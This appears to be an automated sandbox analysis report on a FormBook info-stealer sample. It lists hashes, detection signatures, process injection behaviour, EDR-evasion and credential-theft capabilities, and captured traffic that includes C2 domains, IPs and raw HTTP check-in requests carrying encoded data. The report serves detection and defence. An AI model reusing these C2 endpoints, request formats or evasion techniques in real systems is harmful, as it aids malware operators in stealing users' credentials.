Edit tour

Windows Analysis Report
wWXR5js3k2.exe

Overview

General Information

Sample name:	wWXR5js3k2.exe renamed because original name is a hash value
Original sample name:	919e47baabe9cc5fe28aa098991efc624b4cfe2c4008ce036a35b49edc438a4d.exe
Analysis ID:	1587987
MD5:	9d8150f9b27a2a93925717d361add951
SHA1:	92f4860eda8a22e43fc777b64c590891280d6a80
SHA256:	919e47baabe9cc5fe28aa098991efc624b4cfe2c4008ce036a35b49edc438a4d
Tags:	exeuser-adrian__luca
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected FormBook

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

Found direct / indirect Syscall (likely to bypass EDR)

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Performs DNS queries to domains with low reputation

Queues an APC in another process (thread injection)

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses powercfg.exe to modify the power settings

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Uncommon Svchost Parent Process

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

wWXR5js3k2.exe (PID: 7260 cmdline: "C:\Users\user\Desktop\wWXR5js3k2.exe" MD5: 9D8150F9B27A2A93925717D361ADD951)

svchost.exe (PID: 7316 cmdline: "C:\Users\user\Desktop\wWXR5js3k2.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

ycBMGRFRlht.exe (PID: 3688 cmdline: "C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

powercfg.exe (PID: 7604 cmdline: "C:\Windows\SysWOW64\powercfg.exe" MD5: 9D71DBDD3AD017EC69554ACF9CAADD05)

ycBMGRFRlht.exe (PID: 6568 cmdline: "C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

firefox.exe (PID: 7840 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://0xmrmagnezi.github.io/malware%20analysis/FormBook/ https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2613375030.0000000002F20000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000005.00000002.2613433985.0000000002F70000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000004.00000002.2613432274.0000000002B50000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000002.00000002.1886277798.0000000002600000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000002.00000002.1887212251.0000000004E10000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000005.00000002.2610818121.0000000002A60000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000008.00000002.2615837301.0000000005650000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000002.00000002.1886979901.0000000003390000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.svchost.exe.2600000.0.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
2.2.svchost.exe.2600000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security

Sigma Signatures

System Summary

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\wWXR5js3k2.exe", CommandLine: "C:\Users\user\Desktop\wWXR5js3k2.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\wWXR5js3k2.exe", ParentImage: C:\Users\user\Desktop\wWXR5js3k2.exe, ParentProcessId: 7260, ParentProcessName: wWXR5js3k2.exe, ProcessCommandLine: "C:\Users\user\Desktop\wWXR5js3k2.exe", ProcessId: 7316, ProcessName: svchost.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Users\user\Desktop\wWXR5js3k2.exe", CommandLine: "C:\Users\user\Desktop\wWXR5js3k2.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\wWXR5js3k2.exe", ParentImage: C:\Users\user\Desktop\wWXR5js3k2.exe, ParentProcessId: 7260, ParentProcessName: wWXR5js3k2.exe, ProcessCommandLine: "C:\Users\user\Desktop\wWXR5js3k2.exe", ProcessId: 7316, ProcessName: svchost.exe

Suricata Signatures

ETPRO MALWARE FormBook CnC Checkin (POST) M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:11:07.355810+0100	2855464	1	A Network Trojan was detected	192.168.2.9	64515	43.205.198.29	80	TCP
2025-01-10T20:11:09.893739+0100	2855464	1	A Network Trojan was detected	192.168.2.9	64516	43.205.198.29	80	TCP
2025-01-10T20:11:12.451878+0100	2855464	1	A Network Trojan was detected	192.168.2.9	64517	43.205.198.29	80	TCP
2025-01-10T20:11:20.710172+0100	2855464	1	A Network Trojan was detected	192.168.2.9	64519	188.114.97.3	80	TCP
2025-01-10T20:11:23.244704+0100	2855464	1	A Network Trojan was detected	192.168.2.9	64520	188.114.97.3	80	TCP
2025-01-10T20:11:25.845738+0100	2855464	1	A Network Trojan was detected	192.168.2.9	64521	188.114.97.3	80	TCP
2025-01-10T20:11:34.312650+0100	2855464	1	A Network Trojan was detected	192.168.2.9	64523	194.245.148.189	80	TCP
2025-01-10T20:11:37.285209+0100	2855464	1	A Network Trojan was detected	192.168.2.9	64524	194.245.148.189	80	TCP
2025-01-10T20:11:39.490086+0100	2855464	1	A Network Trojan was detected	192.168.2.9	64525	194.245.148.189	80	TCP
2025-01-10T20:11:47.779010+0100	2855464	1	A Network Trojan was detected	192.168.2.9	64527	63.250.43.134	80	TCP
2025-01-10T20:11:51.267833+0100	2855464	1	A Network Trojan was detected	192.168.2.9	64528	63.250.43.134	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: wWXR5js3k2.exe	Virustotal: Detection: 64%			Perma Link
Source: wWXR5js3k2.exe	ReversingLabs: Detection: 73%

Yara detected FormBook

Source: Yara match	File source: 2.2.svchost.exe.2600000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.2600000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2613375030.0000000002F20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2613433985.0000000002F70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2613432274.0000000002B50000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1886277798.0000000002600000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1887212251.0000000004E10000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2610818121.0000000002A60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2615837301.0000000005650000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1886979901.0000000003390000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: wWXR5js3k2.exe

Joe Sandbox ML: detected

Source: wWXR5js3k2.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: powercfg.pdbGCTL source: svchost.exe, 00000002.00000003.1852599121.0000000002A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1852713638.0000000002A2D000.00000004.00000020.00020000.00000000.sdmp, ycBMGRFRlht.exe, 00000004.00000002.2612973441.0000000000F68000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: ycBMGRFRlht.exe, 00000004.00000000.1809965971.000000000041E000.00000002.00000001.01000000.00000005.sdmp, ycBMGRFRlht.exe, 00000008.00000000.1957819340.000000000041E000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: wWXR5js3k2.exe, 00000000.00000003.1371523327.00000000036F0000.00000004.00001000.00020000.00000000.sdmp, wWXR5js3k2.exe, 00000000.00000003.1370169862.0000000003890000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1793017531.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1886544115.0000000003000000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1886544115.000000000319E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1795048850.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000005.00000003.1888818959.0000000003100000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000005.00000002.2613793846.00000000032B0000.00000040.00001000.00020000.00000000.sdmp, powercfg.exe, 00000005.00000002.2613793846.000000000344E000.00000040.00001000.00020000.00000000.sdmp, powercfg.exe, 00000005.00000003.1886495587.0000000002F2E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: wWXR5js3k2.exe, 00000000.00000003.1371523327.00000000036F0000.00000004.00001000.00020000.00000000.sdmp, wWXR5js3k2.exe, 00000000.00000003.1370169862.0000000003890000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.1793017531.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1886544115.0000000003000000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1886544115.000000000319E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1795048850.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, powercfg.exe, 00000005.00000003.1888818959.0000000003100000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000005.00000002.2613793846.00000000032B0000.00000040.00001000.00020000.00000000.sdmp, powercfg.exe, 00000005.00000002.2613793846.000000000344E000.00000040.00001000.00020000.00000000.sdmp, powercfg.exe, 00000005.00000003.1886495587.0000000002F2E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: powercfg.exe, 00000005.00000002.2611913316.0000000002E30000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000005.00000002.2614313409.00000000038DC000.00000004.10000000.00040000.00000000.sdmp, ycBMGRFRlht.exe, 00000008.00000000.1958596191.000000000321C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2185627863.000000003B45C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: powercfg.exe, 00000005.00000002.2611913316.0000000002E30000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000005.00000002.2614313409.00000000038DC000.00000004.10000000.00040000.00000000.sdmp, ycBMGRFRlht.exe, 00000008.00000000.1958596191.000000000321C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2185627863.000000003B45C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: powercfg.pdb source: svchost.exe, 00000002.00000003.1852599121.0000000002A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1852713638.0000000002A2D000.00000004.00000020.00020000.00000000.sdmp, ycBMGRFRlht.exe, 00000004.00000002.2612973441.0000000000F68000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006B445A GetFileAttributesW,FindFirstFileW,FindClose,	0_2_006B445A
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006BC6D1 FindFirstFileW,FindClose,	0_2_006BC6D1
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006BC75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_006BC75C
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006BEF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_006BEF95
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006BF0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_006BF0F2
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006BF3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_006BF3F3
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006B37EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_006B37EF
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006B3B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_006B3B12
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006BBCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_006BBCBC
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_02A7C9B0 FindFirstFileW,FindNextFileW,FindClose,	5_2_02A7C9B0

Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 4x nop then xor eax, eax	5_2_02A69F20
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 4x nop then pop edi	5_2_02A6E620
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 4x nop then pop edi	5_2_02A6E5FC
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 4x nop then mov ebx, 00000004h	5_2_031004DE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:64525 -> 194.245.148.189:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:64524 -> 194.245.148.189:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:64523 -> 194.245.148.189:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:64528 -> 63.250.43.134:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:64515 -> 43.205.198.29:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:64527 -> 63.250.43.134:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:64516 -> 43.205.198.29:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:64520 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:64519 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:64517 -> 43.205.198.29:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:64521 -> 188.114.97.3:80

Performs DNS queries to domains with low reputation

Source:

DNS query: www.oneeyetrousersnake.xyz

Source: global traffic

TCP traffic: 192.168.2.9:64437 -> 162.159.36.2:53

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 43.205.198.29 43.205.198.29

Source: Joe Sandbox View

ASN Name: CSLDE CSLDE

Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_006C22EE InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

0_2_006C22EE

Source: global traffic	HTTP traffic detected: GET /mz0w/?rdmhfXe=uMzU0JGK22aEYJLCyAIreKcU1rJUCkGv0SPCs66KRtTFzrJJ373CiBnwq6iLrm6CBfWGplZZf3wVkFmev9wwp4pfrJHMjCh6luBqHWNFeR0cmEvsKw==&AF=At8pGDY0Z HTTP/1.1Host: www.qqa79.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /6pwo/?rdmhfXe=OcYLCa3XOMtt+Rsv8j1JEBYyKSs2FBnaDgwcqG8KHHMgaFOqYIh5VwBJiTVI7K2l1+vZ/nsgVnM6ADXGg1abiRcuJlWrvFsYiciiVw8Ks4AYAtrm9w==&AF=At8pGDY0Z HTTP/1.1Host: www.1secondlending.oneAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /rk61/?rdmhfXe=4Jev6jkxg6xEO7DVmJ20iETfs2t7f6dacNocs9uTAtM/sd7AmwK5VubVBVupph+Y/y0F/E1wxEQcV5PZ7sI9IEZesAjm/l1NEB+do2leeTcUFeI7Uw==&AF=At8pGDY0Z HTTP/1.1Host: www.supernutra01.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /hakt/?rdmhfXe=Z3UZ9pkvUTN8eySircCOaDAcK9AA6JZfB0YdpGFssPaitvOOGMcOB1EIrUeEo9sxw4W4nK9e2r79OuzvY2TkP9tUb4eHWat+jQL942ZrdRgvNUE9NQ==&AF=At8pGDY0Z HTTP/1.1Host: www.wine-drinkers.clubAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: 171.39.242.20.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: www.qqa79.top
Source: global traffic	DNS traffic detected: DNS query: www.1secondlending.one
Source: global traffic	DNS traffic detected: DNS query: www.supernutra01.online
Source: global traffic	DNS traffic detected: DNS query: www.wine-drinkers.club
Source: global traffic	DNS traffic detected: DNS query: www.oneeyetrousersnake.xyz

Source: unknown

HTTP traffic detected: POST /6pwo/ HTTP/1.1Host: www.1secondlending.oneAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-usAccept-Encoding: gzip, deflate, brContent-Length: 196Cache-Control: max-age=0Connection: closeContent-Type: application/x-www-form-urlencodedOrigin: http://www.1secondlending.oneReferer: http://www.1secondlending.one/6pwo/User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36Data Raw: 72 64 6d 68 66 58 65 3d 44 65 77 72 42 73 32 6d 54 39 6c 6d 71 53 30 68 38 78 6f 2f 46 68 77 57 47 42 70 4b 5a 57 54 4e 50 78 35 6e 73 32 31 56 41 55 6b 6f 62 58 71 71 64 5a 45 48 53 51 4e 7a 6c 79 46 4d 68 37 69 6b 39 2f 4f 64 72 48 41 61 4d 6b 41 70 41 52 62 65 75 55 6e 4f 6a 32 6f 30 62 45 72 51 73 41 4d 41 75 39 32 55 4a 41 6b 6d 76 37 63 4a 50 38 4c 6a 75 6a 79 62 56 76 61 63 51 75 6c 79 67 38 63 30 36 70 59 6f 41 75 33 37 65 6e 6a 69 67 6f 50 45 5a 38 63 68 6c 49 65 57 43 4d 6b 65 55 53 58 79 74 58 62 6a 43 72 4c 38 6c 56 70 73 6e 47 52 36 52 67 69 30 6e 48 30 46 78 35 78 51 Data Ascii: rdmhfXe=DewrBs2mT9lmqS0h8xo/FhwWGBpKZWTNPx5ns21VAUkobXqqdZEHSQNzlyFMh7ik9/OdrHAaMkApARbeuUnOj2o0bErQsAMAu92UJAkmv7cJP8LjujybVvacQulyg8c06pYoAu37enjigoPEZ8chlIeWCMkeUSXytXbjCrL8lVpsnGR6Rgi0nH0Fx5xQ

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 19:10:51 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
